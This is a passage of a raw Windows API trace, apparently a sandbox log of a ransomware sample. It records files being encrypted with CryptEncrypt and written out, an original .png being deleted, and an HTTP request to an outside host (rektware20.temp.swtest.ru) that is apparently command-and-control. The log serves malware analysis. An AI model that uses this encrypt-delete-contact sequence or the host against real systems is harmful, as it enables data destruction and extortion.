lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.509] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.509] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.509] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.509] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.509] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.509] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.509] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.509] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.509] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.509] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.510] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.510] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.511] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217c8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.511] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.511] CryptEncrypt (in: hKey=0x164c930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x11306, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x11310) returned 1 [0061.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.512] CharLowerBuffW (in: lpsz="byte[70417]", cchLength=0xb | out: lpsz="byte[70417]") returned 0xb [0061.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.513] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.513] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.514] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.514] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.514] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.514] CryptEncrypt (in: hKey=0x164c930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e1e28*, pdwDataLen=0x130e618*=0x11306, dwBufLen=0x11310 | out: pbData=0x17e1e28*, pdwDataLen=0x130e618*=0x11310) returned 1 [0061.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.515] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.515] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.515] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.515] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.515] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.516] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.516] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.516] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.516] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.516] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.516] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.523] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x11310, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x11310, lpOverlapped=0x0) returned 1 [0061.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.527] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.527] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.527] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.527] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.527] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.528] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.528] CryptDestroyKey (hKey=0x164c930) returned 1 [0061.528] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.528] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.528] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.528] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.528] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.528] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.528] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.528] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.529] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.529] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.529] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.529] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.529] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.529] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.529] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.529] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.530] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.530] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.530] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.530] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.530] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.530] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.530] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.531] CryptReleaseContext (hProv=0x17aaab0, dwFlags=0x0) returned 1 [0061.531] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.531] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.531] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.531] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.531] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.531] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.531] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.531] CloseHandle (hObject=0x3bc) returned 1 [0061.533] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.533] CloseHandle (hObject=0x2ac) returned 1 [0061.536] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.539] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.539] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", lpFilePart=0x0) returned 0x4c [0061.539] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\uia_l7aybe5jptsu.png")) returned 0x20 [0061.539] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2b0 [0061.539] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\uia_l7aybe5jptsu.png")) returned 1 [0061.544] FindNextFileW (in: hFindFile=0x164c2b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.544] FindClose (in: hFindFile=0x164c2b0 | out: hFindFile=0x164c2b0) returned 1 [0061.544] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.544] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.544] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.544] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.544] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.544] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.544] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.544] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.545] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.545] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.545] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.545] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f40, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f40, lpdwBufferLength=0x130ef8c) returned 1 [0061.545] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.545] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.545] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.546] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.546] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.546] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.546] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.546] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.546] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.546] CloseHandle (hObject=0x0) returned 0 [0061.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 